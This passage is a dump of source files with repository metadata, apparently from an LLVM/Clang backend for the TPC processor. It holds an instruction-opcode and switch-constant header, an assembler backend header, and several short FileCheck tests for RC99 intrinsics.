14,\n Max = INT64,\n Invalid = ~0U\n};\n\n// Special Instruction opcodes\n// *** Must match TPCInstrFormat*.td ***\n\n// Load slot\nconst uint64_t\n ldGEN_ADDR = 0x00,\n ldPRMT_INDX = 0x03,\n ldSET_INDX = 0x04,\n ldMOV = 0x05,\n LOOKUP = 0x06,\n LOOKUP_C1C2 = 0x07,\n LOOKUP_C0 = 0x09,\n LOOKUP_2C = 0x07,\n LOOKUP_1C = 0x09,\n LD_L = 0x0b,\n LD_G = 0x0c,\n PREFETCH = 0x0d,\n LD_L_V = 0x0e,\n LD_L_V_LOW = 0x0f,\n LD_L_V_HIGH = 0x10,\n LD_TNSR = 0x11,\n LD_TNSR_LOW = 0x12,\n LD_TNSR_HIGH = 0x13,\n LD_EVENT = 0x18,\n ldNOP = 0x1f;\n\n// Scalar slot\nconst uint64_t\n spuMAC = 0x00,\n spuMUL = 0x01,\n spuADD = 0x02,\n spuSUB = 0x03,\n spuCONVERT_INT16 = 0x04,\n spuMAX = 0x05,\n spuMIN = 0x06,\n spuABS = 0x07,\n spuMOV = 0x08,\n spuCMP_EQ = 0x09,\n spuCMP_NEQ = 0x0a,\n spuCMP_LESS = 0x0b,\n spuCMP_LEQ = 0x0c,\n spuCMP_GRT = 0x0d,\n spuCMP_GEQ = 0x0e,\n spuOR = 0x0f,\n spuAND = 0x10,\n spuXOR = 0x11,\n spuNOT = 0x12,\n spuSHR = 0x13,\n spuSHL = 0x14,\n spuASH = 0x15,\n spuCONVERT = 0x16,\n spuCONVERT_INT32 = 0x17,\n spuCONVERT_UINT32 = 0x18,\n spuPOPCNT = 0x19,\n spuFIND_FIRST = 0x1a,\n spuNEARBYINT = 0x1b,\n spuCONVERT_UINT16 = 0x1c,\n spuEXTRACT_EXP = 0x1d,\n spuFCLASS = 0x1e,\n spuBREV = 0x1f,\n spuHALT = 0x20,\n spuLOOP = 0x22,\n spuJMPR = 0x24,\n spuJMPA = 0x25,\n spuMOV_IRF_DIM = 0x26,\n spuSET_INDX = 0x27,\n spuUDIV_STEP = 0x28,\n spuUDIV_4STEP = 0x28,\n spuUDIV = 0x28,\n spuCALC_FP_SPECIAL= 0x34,\n spuCONVERT_INT8 = 0x35,\n spuCONVERT_UINT8 = 0x36,\n spuCONVERT_FP_FLEX= 0x38,\n spuDBG = 0x3E,\n spuNOP = 0x3F,\n spuCONVERT_INT64 = 0x40;\n\nconst uint64_t\n vpuMAC = 0x00,\n vpuMUL = 0x01,\n vpuADD = 0x02,\n vpuSUB = 0x03,\n vpuCONVERT_INT16 = 0x04,\n vpuMAX = 0x05,\n vpuMIN = 0x06,\n vpuABS = 0x07,\n vpuMOV = 0x08,\n vpuCMP_EQ = 0x09,\n vpuCMP_NEQ = 0x0a,\n vpuCMP_LESS = 0x0b,\n vpuCMP_LEQ = 0x0c,\n vpuCMP_GRT = 0x0d,\n vpuCMP_GEQ = 0x0e,\n vpuOR = 0x0f,\n vpuAND = 0x10,\n vpuXOR = 0x11,\n vpuNOT = 0x12,\n vpuSHR = 0x13,\n vpuSHL = 0x14,\n vpuASH = 0x15,\n vpuCONVERT = 0x16,\n vpuCONVERT_INT32 = 0x17,\n vpuCONVERT_UINT32 = 0x18,\n vpuPOPCNT = 0x19,\n vpuFIND_FIRST = 0x1a,\n vpuNEARBYINT = 0x1b,\n vpuCONVERT_UINT16 = 0x1c,\n vpuEXTRACT_EXP = 0x1d,\n vpuFCLASS = 0x1e,\n vpuBREV = 0x1f,\n vpuHALT = 0x20,\n vpuSEL_EQ = 0x22,\n vpuSEL_NEQ = 0x23,\n vpuSEL_LESS = 0x24,\n vpuSEL_LEQ = 0x25,\n vpuSEL_GRT = 0x26,\n vpuSEL_GEQ = 0x27,\n vpuSEL2_LESS = 0x28,\n vpuSEL2_LEQ = 0x29,\n vpuSEL2_GRT = 0x2a,\n vpuSEL2_GEQ = 0x2b,\n vpuSHUFFLE = 0x2c,\n vpuPACK = 0x2d,\n vpuUNPACK = 0x2e,\n vpuGET_LUT_ENTRY_AND_INTERVAL_START = 0x2f,\n vpuFORM_FP_NUM = 0x30,\n vpuMOV_DUAL_GROUP = 0x31,\n vpuMOV_GROUP = 0x32,\n vpuMSAC = 0x33,\n vpuCALC_FP_SPECIAL =0x34,\n vpuCONVERT_INT8 = 0x35,\n vpuCONVERT_UINT8 = 0x36,\n vpuMADD = 0x37,\n vpuCONVERT_FP_FLEX= 0x38,\n vpuDBG = 0x3E,\n vpuNOP = 0x3F;\n\n// Store slot\nconst uint64_t\n stGEN_ADDR = 0x00,\n stPRMT_INDX = 0x03,\n stSET_INDX = 0x04,\n ST_L = 0x05,\n ST_G = 0x06,\n ST_L_V = 0x07,\n ST_L_V_LOW = 0x08,\n ST_L_V_HIGH = 0x09,\n ASO = 0x0a,\n ST_TNSR = 0x0b,\n ST_TNSR_LOW = 0x0c,\n ST_TNSR_HIGH = 0x0d,\n stLD_TNSR = 0x11,\n stLD_TNSR_LOW = 0x12,\n stLD_TNSR_HIGH = 0x13,\n CACHE_FLUSH = 0x14,\n CACHE_INVALIDATE = 0x15,\n stNOP = 0x1f;\n\n\n// Instruction switches that change signature of corresponding intrinsics. These\n// switches must not be exposed to user in C/C++ code.\n// *** Must match SwitchVal/SW definitions in TPCInstrFormat*.td ***\nenum : unsigned {\n SW_ACC_FP32 = 1U << 2,\n SW_ACC_I16 = 1U << 2,\n SW_DIM_MASK_REG = 1U << 1,\n SW_DIM_MASK_REG_G4 = 1U << 3,\n SW_ACC_I32 = 1U << 3,\n SW_X2_ARITHMETIC = 1U << 4,\n SW_ZP = 1U << 5,\n SW_PARTIAL = 1U << 0,\n SW_HW_REG = 1U << 0,\n SW_RMW_SEL = 1U << 1,\n SW_DOUBLE_AND_ROUND32 = 1U << 1,\n SW_X2_MOV = 1U << 2,\n\n SW_NUM_LANES_SRCB = 1U << 6,\n SW_ALL_LANES_SRCB = 0,\n SW_SINGLE_LANE_SRCB = SW_NUM_LANES_SRCB,\n SW_X2_CONVERT = 1U << 7,\n SW_CLIP_FP16 = 1U << 7,\n\n SW_NUM_LANES = 1U << 2,\n SW_ALL_LANES = 0,\n SW_SINGLE_LANE = SW_NUM_LANES,\n\n SW_TYPE = 0x0f,\n SW_FP32 = OpType::FP32,\n SW_BF16 = OpType::BF16,\n SW_INT32 = OpType::INT32,\n SW_UINT32 = OpType::UINT32,\n SW_INT8 = OpType::INT8,\n SW_UINT8 = OpType::UINT8,\n SW_INT16 = OpType::INT16,\n SW_UINT16 = OpType::UINT16,\n SW_FP16 = OpType::FP16,\n SW_INT64 = OpType::INT64,\n\n SW_TO_TYPE = 0x0f << 8,\n SW_TO_FP32 = OpType::FP32 << 8,\n SW_TO_BF16 = OpType::BF16 << 8,\n SW_TO_INT32 = OpType::INT32 << 8,\n SW_TO_UINT32 = OpType::UINT32 << 8,\n SW_TO_INT8 = OpType::INT8 << 8,\n SW_TO_UINT8 = OpType::UINT8 << 8,\n SW_TO_INT16 = OpType::INT16 << 8,\n SW_TO_UINT16 = OpType::UINT16 << 8,\n SW_TO_FP16 = OpType::FP16 << 8,\n SW_TO_FP8_152 = OpType::FP8_152 << 8,\n SW_TO_FP8_143 = OpType::FP8_143 << 8,\n\n SW_GROUP_TO = 1 << (16 + 3),\n SW_TO_8 = 0,\n SW_TO_16 = SW_GROUP_TO,\n SW_CNVRT = 1U << 4,\n\n SW_LIMIT = 1U << 0,\n SW_MOV_IRF_DIM_BOTH = 1U << 3\n};\n\n// DimMask as switch.\nenum : unsigned {\n SW_DIMMASK = 0x1F << 2,\n SW_B00000 = 0,\n SW_B00001 = 0x01 << 2,\n SW_B00010 = 0x02 << 2,\n SW_B00011 = 0x03 << 2,\n SW_B00100 = 0x04 << 2,\n SW_B00101 = 0x05 << 2,\n SW_B00110 = 0x06 << 2,\n SW_B00111 = 0x07 << 2,\n SW_B01000 = 0x08 << 2,\n SW_B01001 = 0x09 << 2,\n SW_B01010 = 0x0A << 2,\n SW_B01011 = 0x0B << 2,\n SW_B01100 = 0x0C << 2,\n SW_B01101 = 0x0D << 2,\n SW_B01110 = 0x0E << 2,\n SW_B01111 = 0x0F << 2,\n SW_B10000 = 0x10 << 2,\n SW_B10001 = 0x11 << 2,\n SW_B10010 = 0x12 << 2,\n SW_B10011 = 0x13 << 2,\n SW_B10100 = 0x14 << 2,\n SW_B10101 = 0x15 << 2,\n SW_B10110 = 0x16 << 2,\n SW_B10111 = 0x17 << 2,\n SW_B11000 = 0x18 << 2,\n SW_B11001 = 0x19 << 2,\n SW_B11010 = 0x1A << 2,\n SW_B11011 = 0x1B << 2,\n SW_B11100 = 0x1C << 2,\n SW_B11101 = 0x1D << 2,\n SW_B11110 = 0x1E << 2,\n SW_B11111 = 0x1F << 2\n};\n\n// Instruction switches.\nconst unsigned SW_EVENT_SLOT = 1U << 0;\nconst unsigned SW_SAT = 1U << 0;\nconst unsigned SW_FP16_FTZ_IN = 1U << 0;\nconst unsigned SW_CARRY = 1U << 1;\nconst unsigned SW_NO_CARRY_GEN = 1U << 2;\nconst unsigned SW_NEG = 1U << 1;\nconst unsigned SW_MASK_EQ_ZERO = 1U << 0;\nconst unsigned SW_UPPER32 = 1U << 2;\nconst unsigned SW_AUTO_INC_G3 = 1U << 0;\nconst unsigned SW_INC_VAL_G3 = 0x3 << 2;\nconst unsigned SW_INC_1_G3 = 0;\nconst unsigned SW_INC_2_G3 = 1 << 2;\nconst unsigned SW_INC_4_G3 = 2 << 2;\nconst unsigned SW_INC_8_G3 = 3 << 2;\nconst unsigned SW_INC_VAL = 0x7;\nconst unsigned SW_INC_0 = 0;\nconst unsigned SW_INC_1 = 1;\nconst unsigned SW_INC_2 = 2;\nconst unsigned SW_INC_4 = 3;\nconst unsigned SW_INC_8 = 4;\nconst unsigned SW_BV64 = 1 << 4;\nconst unsigned SW_ST_TNSR_S_BV64 = 1 << 2;\nconst unsigned SW_EV_HINT = 1U << 6;\nconst unsigned SW_SUBTRACT_BIAS = 1U << 0;\nconst unsigned SW_GROUP_RND32 = 0x03;\nconst unsigned SW_RND32_NO_ROUND = 0;\nconst unsigned SW_RND32_DNR32 = 0x1;\nconst unsigned SW_RND32_KEEP_RS = 0x2;\nconst unsigned SW_RND32_KEEP_RS_FOR_ADD = 0x3;\nconst unsigned SW_DEC = 1U << 0;\nconst unsigned SW_VPU = 1U << 1;\nconst unsigned SW_LANE_SEL = 0x3;\nconst unsigned SW_LANE_0 = 0;\nconst unsigned SW_LANE_1 = 0x1;\nconst unsigned SW_LANE_2 = 0x2;\nconst unsigned SW_LANE_3 = 0x3;\nconst unsigned SW_UNPACK_DT = 0x3 << 1;\nconst unsigned SW_UNPCK_16_TO_32 = 0;\nconst unsigned SW_UNPCK_8_TO_16 = 0x1 << 1;\nconst unsigned SW_UNPCK_8_TO_32 = 0x2 << 1;\nconst unsigned SW_UNPCK_4_TO_8 = 0x03 << 1;\nconst unsigned SW_UNPACK = 1 << 4;\nconst unsigned SW_L0CD = 1 << 5;\nconst unsigned SW_DIRECT = 1 << 6;\nconst unsigned SW_PACK = 1 << 2;\nconst unsigned SW_PACK_DT = 0x03 << 4;\nconst unsigned SW_PCK_32_TO_16 = 0;\nconst unsigned SW_PCK_16_TO_8 = 1 << 4;\nconst unsigned SW_PCK_32_TO_8 = 2 << 4;\nconst unsigned SW_PCK_8_TO_4 = 3 << 4;\nconst unsigned SW_COUNT = 1;\nconst unsigned SW_COUNT_ZEROS = 0;\nconst unsigned SW_COUNT_ONES = 1;\nconst unsigned SW_FIND_BIT = 1;\nconst unsigned SW_FIND_ZERO = 0;\nconst unsigned SW_FIND_ONE = 1;\nconst unsigned SW_DIRECTION = 1 << 1;\nconst unsigned SW_LSB = 0;\nconst unsigned SW_MSB = SW_DIRECTION;\nconst unsigned SW_GROUP_SOURCE = 1 << 8;\nconst unsigned SW_GROUP_0 = 0;\nconst unsigned SW_GROUP_1 = SW_GROUP_SOURCE;\nconst unsigned SW_ELEMENT_STRIDE = 1 << 9;\nconst unsigned SW_STRIDE_2 = 0;\nconst unsigned SW_STRIDE_4 = SW_ELEMENT_STRIDE;\nconst unsigned SW_GROUP_HALF = 1 << 10;\nconst unsigned SW_GROUP_HALF_0 = 0;\nconst unsigned SW_GROUP_HALF_1 = SW_GROUP_HALF;\nconst unsigned SW_UNPACK_LANE = 3 << 11;\nconst unsigned SW_UNPACK_LANE_0 = 0;\nconst unsigned SW_UNPACK_LANE_1 = 1 << 11;\n#if 0 // until it used (LLVM-965).\nconst unsigned SW_UNPACK_LANE_2 = 2 << 11;\nconst unsigned SW_UNPACK_LANE_3 = SW_UNPACK_LANE;\n#endif\nconst unsigned SW_LUT_FUNC = 0x07 << (8 + 5);\nconst unsigned SW_LUT_TANH = 0x01 << (8 + 5);\nconst unsigned SW_LUT_SQRT_RSQRT = 0x02 << (8 + 5);\nconst unsigned SW_LUT_SIN_COS = 0x03 << (8 + 5);\nconst unsigned SW_LUT_LOG = 0x04 << (8 + 5);\nconst unsigned SW_LUT_OPT = 1 << 0;\nconst unsigned SW_LUT_EXP0 = 1 << 1;\nconst unsigned SW_ADD_BIAS = 1 << 8;\nconst unsigned SW_FORCE_SIGN0 = 1 << 9;\nconst unsigned SW_FORCE_SIGN1 = 1 << 10;\nconst unsigned SW_EXP_IS_NUM = 1 << 11;\nconst unsigned SW_SIGN_LSB = 1 << 12;\nconst unsigned SW_DT_OVERRIDE = 1 << 4;\nconst unsigned SW_MMIO = 1;\nconst unsigned SW_LOCK = 1 << 1;\nconst unsigned SW_UNLOCK = 1 << 1;\nconst unsigned SW_NEG_ZP = 1U << 6;\nconst unsigned SW_SB = 1U << 0;\nconst unsigned SW_PD = 1U << 15;\nconst unsigned SW_D = 1U << 1;\nconst unsigned SW_LU = 1U << 2;\nconst unsigned SW_RST_LU = 1U << 3;\nconst unsigned SW_RST_D_PREF = 1U << 4;\nconst unsigned SW_NO_BORROW_GEN = 1U << 2;\nconst unsigned SW_BORROW = 1U << 3;\nconst unsigned SW_ST_INC = 0x03U;\nconst unsigned SW_V_INC_0 = 0U;\nconst unsigned SW_V_INC_1 = 0x01U;\nconst unsigned SW_V_INC_2 = 0x02U;\nconst unsigned SW_V_INC_4 = 0x03U;\n\n// MOV_DUAL_GROUP switches. Switches passed in SrcB are shifted by 8,\n// in SrcC - by 16.\nconst unsigned SW_MDG_TYPE_MASK = 3;\nconst unsigned SW_MDG_TYPE_SINGLE = 0;\nconst unsigned SW_MDG_TYPE_ALL = 1;\nconst unsigned SW_MDG_TYPE_PACK = 2;\nconst unsigned SW_MDG_TYPE_UNPACK = 3;\nconst unsigned SW_DUAL_GROUP_PACK_TYPE = 4;\nconst unsigned SW_PACK21 = 0;\nconst unsigned SW_PACK41 = SW_DUAL_GROUP_PACK_TYPE;\nconst unsigned SW_MDG_UNPACK_TYPE = 4;\nconst unsigned SW_UNPACK_UPDATE_LANE0 = 0;\nconst unsigned SW_UNPACK_UPDATE_LANE1 = SW_MDG_UNPACK_TYPE;\nconst unsigned SW_SRC_DUAL_GROUP_SHIFT = 8;\nconst unsigned SW_DST_DUAL_GROUP_SHIFT = 10;\nconst unsigned SW_SRC_DUAL_GROUP = 0x03 << SW_SRC_DUAL_GROUP_SHIFT;\nconst unsigned SW_DST_DUAL_GROUP = 0x03 << SW_DST_DUAL_GROUP_SHIFT;\nconst unsigned SW_WR_LOWER_GROUP = 1 << 12;\nconst unsigned SW_WR_UPPER_GROUP = 1 << 13;\nconst unsigned SW_SDG0_SHIFT = 8;\nconst unsigned SW_SDG1_SHIFT = 10;\nconst unsigned SW_SDG2_SHIFT = 12;\nconst unsigned SW_SDG3_SHIFT = 14;\nconst unsigned SW_SDG0 = 0x03 << SW_SDG0_SHIFT;\nconst unsigned SW_SDG1 = 0x03 << SW_SDG1_SHIFT;\nconst unsigned SW_SDG2 = 0x03 << SW_SDG2_SHIFT;\nconst unsigned SW_SDG3 = 0x03 << SW_SDG3_SHIFT;\nconst unsigned SW_WEG0_SHIFT = 16;\nconst unsigned SW_WEG1_SHIFT = 18;\nconst unsigned SW_WEG2_SHIFT = 20;\nconst unsigned SW_WEG3_SHIFT = 22;\nconst unsigned SW_WEG0 = 0x03 << SW_WEG0_SHIFT;\nconst unsigned SW_WEG1 = 0x03 << SW_WEG1_SHIFT;\nconst unsigned SW_WEG2 = 0x03 << SW_WEG2_SHIFT;\nconst unsigned SW_WEG3 = 0x03 << SW_WEG3_SHIFT;\nconst unsigned SW_WR_LOWER_GROUP0 = 1 << 16;\nconst unsigned SW_WR_UPPER_GROUP0 = 1 << 17;\nconst unsigned SW_WR_LOWER_GROUP1 = 1 << 18;\nconst unsigned SW_WR_UPPER_GROUP1 = 1 << 19;\nconst unsigned SW_WR_LOWER_GROUP2 = 1 << 20;\nconst unsigned SW_WR_UPPER_GROUP2 = 1 << 21;\nconst unsigned SW_WR_LOWER_GROUP3 = 1 << 22;\nconst unsigned SW_WR_UPPER_GROUP3 = 1 << 23;\n\n// Round modes. Are used in CONVERT* instructions. Bit values differ depending\n// on core and instruction.\n// As these switches are encoded in OperandType, put them to the 3rd byte.\nconst unsigned SW_GROUP_RM = 0x070000;\nconst unsigned SW_RHNE = 0;\nconst unsigned SW_RZ = 0x010000;\nconst unsigned SW_RU = 0x020000;\nconst unsigned SW_RD = 0x030000;\nconst unsigned SW_SR = 0x040000;\nconst unsigned SW_CSR = 0x050000;\nconst unsigned SW_RHAZ = 0x060000;\nconst unsigned SW_SR_RNE = 0x070000;\nconst unsigned SW_X4_CONVERT= 0x080000;\nconst unsigned SW_CLIP_FP = 0x100000;\nconst unsigned SW_G1_RHNE = 0;\nconst unsigned SW_G1_RD = 0x010000;\nconst unsigned SW_G1_RU = 0x020000;\nconst unsigned SW_G1_SR = 0x030000;\nconst unsigned SW_G1_RZ = 0x040000;\n\n// MSAC switches\nconst unsigned SW_RHU = 0x2;\nconst unsigned SW_NORMALIZE = 0x4;\nconst unsigned SW_NORMALIZE_AB = 0x0;\nconst unsigned SW_NORMALIZE_C = 0x4;\n\n// LOOKUP switches\nconst unsigned SW_LOOKUP_G1 = 0x7;\nconst unsigned SW_BV32 = 0;\nconst unsigned SW_BV16_LOW = 0x2;\nconst unsigned SW_BV16_HIGH = 0x3;\nconst unsigned SW_BV8_0 = 0x4;\nconst unsigned SW_BV8_1 = 0x5;\nconst unsigned SW_BV8_2 = 0x6;\nconst unsigned SW_BV8_3 = 0x7;\n\nconst unsigned SW_LOOKUP_G2 = 0x3;\nconst unsigned SW_LOOKUP_G3 = 0x3;\nconst unsigned SW_BV16 = 0x1;\nconst unsigned SW_BV8_0_G3 = 0x2;\nconst unsigned SW_BV8_1_G3 = 0x3;\n\nconst unsigned SW_GROUP_EN = 0x3;\nconst unsigned SW_DUAL_GROUP_EN = 0x3c;\n\nconst unsigned SW_UPPER_HALF = 1 << 2;\nconst unsigned SW_LUT_PTR = 1 << 3;\nconst unsigned SW_SBCD = 1 << 5;\n\n// Function codes in CALC_FP_SPECIAL.\nconst unsigned SW_FUNCID = 0x7;\nconst unsigned SW_RECIP = 0;\nconst unsigned SW_RSQRT = 1;\nconst unsigned SW_SQRT = 2;\nconst unsigned SW_LOG = 3;\nconst unsigned SW_EXP = 4;\nconst unsigned SW_TANH = 5;\nconst unsigned SW_DIV = 6;\nconst unsigned SW_POW = 7;\n\n// Function codes in FORM_FP_NUMBER\nconst unsigned SW_SPECIAL_FUNC = 7 << 13;\nconst unsigned SW_PRE_SQRT_RSQRT = 1 << 13;\nconst unsigned SW_POST_SQRT = 2 << 13;\nconst unsigned SW_POST_RSQRT = 3 << 13;\nconst unsigned SW_POST_RECIP = 4 << 13;\n\nconst unsigned SW_RHAZ_RS = 0x04;\nconst unsigned SW_NO_SAT = 0x01;\nconst unsigned SW_STEP_REG = 0x1 << 5;\nconst unsigned SW_X2_UDIV_4STEP = 0x1 << 6;\n\n// UDIV\nconst unsigned SW_GROUP_DIV_MODE = 3;\nconst unsigned SW_DIV_MODE_DIV = 0;\nconst unsigned SW_DIV_MODE_MOD = 1;\nconst unsigned SW_DIV_MODE_BOTH = 2;\n\n// PARTIAL & PD switches are passed via Src2 but not via LOAD or STORE slot switches.\n// So let's keep the slot switches 7 bits, and start Src2 switches from eighth bit.\nconst unsigned SW_PARTIAL_SRCB = 1 << 8;\n\n// AND\nconst unsigned SW_ANDN = 1 << 1;\n\n// SET_INDX\nconst unsigned SW_IRF44_HIGH = 1;\n\nvoid setSubTargetInfo(const MCSubtargetInfo *STI);\nconst MCSubtargetInfo *getSubtargetInfo();\n\n/// @brief Update switch set given new switch name.\n/// @return Text of error if the operation cannot be executed or empty string in\n/// the case of success.\n///\nstd::string incorporateSwitch(\n StringRef Switch, ///< text of the switch, like 'PACK'.\n StringRef Value, ///< Value of the switch if it is specified in form 'SWITCH=VALUE'.\n StringRef Mnemonic, ///< Instruction name, like 'ADD'.\n SlotParser Slot, ///< Slot where the instruction resides.\n OpType Type, ///< OpType of the instruction if presents, OpTypeInvalid otherwise.\n bool IsSuffix, ///< True if the switch is found in instruction suffix.\n bool &IsUnknown, ///< Is set to True if the switch is unknown.\n unsigned &CurrentSwitchSet, ///< Current value of switch set.\n std::vector<std::string> &Switches ///< Set of switches specified explicitly.\n);\n\n/// @brief Assign default values to switches that have non-zero default values.\n/// @return True if switch set was updated.\nbool getDefaultSwitches(\n StringRef Mnemonic, ///< Instruction name, like 'ADD'.\n SlotParser Slot, ///< Slot where the instruction resides.\n OpType Type, ///< OpType of the instruction if presents, OpTypeInvalid otherwise.\n unsigned &CurrentSwitchSet, ///< Current value of switch set.\n const std::vector<std::string> &Switches ///< Set of switches in the switch set.\n);\n\nbool doesInstructionHasASwitch(StringRef Mnemonic, SlotParser Slot);\n\nstd::string spellSwitchSet(unsigned SwSet, const MCInst *MI, unsigned OpNum, const MCInstrDesc &MCID, const MCRegisterInfo &MRI);\n\n}\n}\n#endif\n" }, { "alpha_fraction": 0.5519999861717224, "alphanum_fraction": 0.6399999856948853, "avg_line_length": 36.5, "blob_id": "743598a968c80221e8229520f554fc79228edc9b", "content_id": "78efd6b46e43014f72e1eead5e4717c6fab7ad1b", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 375, "license_type": "permissive", "max_line_length": 135, "num_lines": 10, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_char256_to_float256.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n char256 *sptr = (char256 *)src;\n float256 *dptr = (float256 *)dest;\n char256 src_val = *sptr;\n *dptr = convert_char256_to_float256(src_val, 0);\n}\n\n// CHECK-IR: sitofp <256 x i8> {{.*}} to <256 x float>\n" }, { "alpha_fraction": 0.6607929468154907, "alphanum_fraction": 0.6637297868728638, "avg_line_length": 36.14545440673828, "blob_id": "b7b59f86c5f2163aab206c1a48f1aa89a928ea81", "content_id": "974286dcd4f4ff375a242b2d3993ed437fa8d44b", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2043, "license_type": "permissive", "max_line_length": 100, "num_lines": 55, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCAsmBackend.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCAsmBackend.h - TPC Assembler Backend -----------------*- C++ -*-===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_TPC_TPCASMBACKEND_H\n#define LLVM_LIB_TARGET_TPC_TPCASMBACKEND_H\n\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"llvm/MC/MCAsmBackend.h\"\n#include \"llvm/MC/MCSubtargetInfo.h\"\n#include \"llvm/Support/TargetRegistry.h\"\n\nnamespace llvm {\n\nnamespace TPC {\nenum Fixups {\n FK_Loop = FirstTargetFixupKind,\n FK_LOOP, // TODO: Remove it\n LastTargetFixupKind,\n NumTargetFixupKinds = LastTargetFixupKind - FirstTargetFixupKind\n};\n}\n\nclass TPCAsmBackend : public MCAsmBackend {\npublic:\n TPCAsmBackend(const Target &T, const Triple &TT);\n\n ~TPCAsmBackend() override { }\n\n // MCAsmBackend interface\npublic:\n// MCObjectWriter *createObjectWriter(raw_pwrite_stream& OS) const override;\n std::unique_ptr<MCObjectTargetWriter> createObjectTargetWriter() const override;\n unsigned getNumFixupKinds() const override;\n void applyFixup(const MCAssembler &Asm, const MCFixup &Fixup,\n const MCValue &Target, MutableArrayRef<char> Data,\n uint64_t Value, bool IsResolved,\n const MCSubtargetInfo *STI) const override;\n bool mayNeedRelaxation(const MCInst &Inst, const MCSubtargetInfo &STI) const override;\n bool fixupNeedsRelaxation(const MCFixup& Fixup, uint64_t Value, const MCRelaxableFragment* DF,\n const MCAsmLayout& Layout) const override;\n void relaxInstruction(const MCInst& Inst, const MCSubtargetInfo& STI, MCInst& Res) const override;\n bool writeNopData(raw_ostream &OS, uint64_t Count) const override;\n const MCFixupKindInfo &getFixupKindInfo(MCFixupKind Kind) const override;\n};\n} // end namespace llvm\n\n#endif\n" }, { "alpha_fraction": 0.4855195879936218, "alphanum_fraction": 0.5689948797225952, "avg_line_length": 39.482757568359375, "blob_id": "257dd4d2f0456f9e93b0b81c00ce6c20f2d892e5", "content_id": "45fa3632bc497621859094831b7c86cb2154012f", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1174, "license_type": "permissive", "max_line_length": 133, "num_lines": 29, "path": "/clang/test/RC99/IntrinsicsM/extract_exp-si-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck --check-prefix=CHECK-GAUDI %s\n\n\nvoid main(int dest,_Bool pred) {\n volatile int __local *dptr = (int __local *)dest;\n\n int res = *dptr++;\n\n res = s_f32_extract_exp_s_b(0.8, res, 1, pred, 0);\n // CHECK: extract_exp.f32 subtract_bias %S{{[0-9]+}}, 0x3f4ccccd, %SP{{[0-9]+}}\n // CHECK-GAUDI: extract_exp.f32 biased %S{{[0-9]+}}, 0x3f4ccccd, %SP{{[0-9]+}}\n *dptr++ = res;\n\n res = s_f32_extract_exp_s_b(0.8, res, 0, pred, 0);\n // CHECK: extract_exp.f32 %S{{[0-9]+}}, 0x3f4ccccd, %SP{{[0-9]+}}\n // CHECK-GAUDI: extract_exp.f32 %S{{[0-9]+}}, 0x3f4ccccd, %SP{{[0-9]+}}\n *dptr++ = res;\n\n res = s_f32_extract_exp_s(0.8, 1);\n // CHECK: extract_exp.f32 subtract_bias %S{{[0-9]+}}, 0x3f4ccccd, %SP0\n // CHECK-GAUDI: extract_exp.f32 biased %S{{[0-9]+}}, 0x3f4ccccd, %SP0\n *dptr++ = res;\n\n res = s_f32_extract_exp_s(0.8, 0);\n // CHECK: extract_exp.f32 %S{{[0-9]+}}, 0x3f4ccccd, %SP0\n // CHECK-GAUDI: extract_exp.f32 %S{{[0-9]+}}, 0x3f4ccccd, %SP0\n *dptr++ = res;\n}\n" }, { "alpha_fraction": 0.6048879623413086, "alphanum_fraction": 0.639511227607727, "avg_line_length": 48.099998474121094, "blob_id": "8c67b42166e30e65ece8cf4fb7e6d03fd2a44c26", "content_id": "86369875f0cea8bac701dbc4e5f8758ce7386ab1", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 491, "license_type": "permissive", "max_line_length": 160, "num_lines": 10, "path": "/clang/test/RC99/restrictions/addrspace-07.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -ast-dump %s -o - | FileCheck %s\n\n__local__ int5 dcl_local_int5;\n// CHECK: VarDecl {{.*}} dcl_local_int5 '__attribute__((address_space(1))) int5':'int __attribute__((address_space(1))) __attribute__((ext_vector_type(5)))'\n\nint5 default_local_int5;\n// CHECK: VarDecl {{.*}} default_local_int5 '__attribute__((address_space(1))) int5':'int __attribute__((address_space(1))) __attribute__((ext_vector_type(5)))'\n\nvoid main() {\n}\n" }, { "alpha_fraction": 0.38658368587493896, "alphanum_fraction": 0.4840940535068512, "avg_line_length": 23.100000381469727, "blob_id": "7fb04bf7c8331beb18b3a3a0856ebff49fc455fc", "content_id": "1a6268aa3db1f94a73e1293d9e88e72675707b09", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1446, "license_type": "permissive", "max_line_length": 96, "num_lines": 60, "path": "/clang/test/RC99/IntrinsicsL/i_i32_mov.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(int dest, int x, int vpredp, _Bool pred) {\n volatile int5 __local *dest_ptr = (int5 __local *)dest;\n int5 src = *dest_ptr++;\n \n// 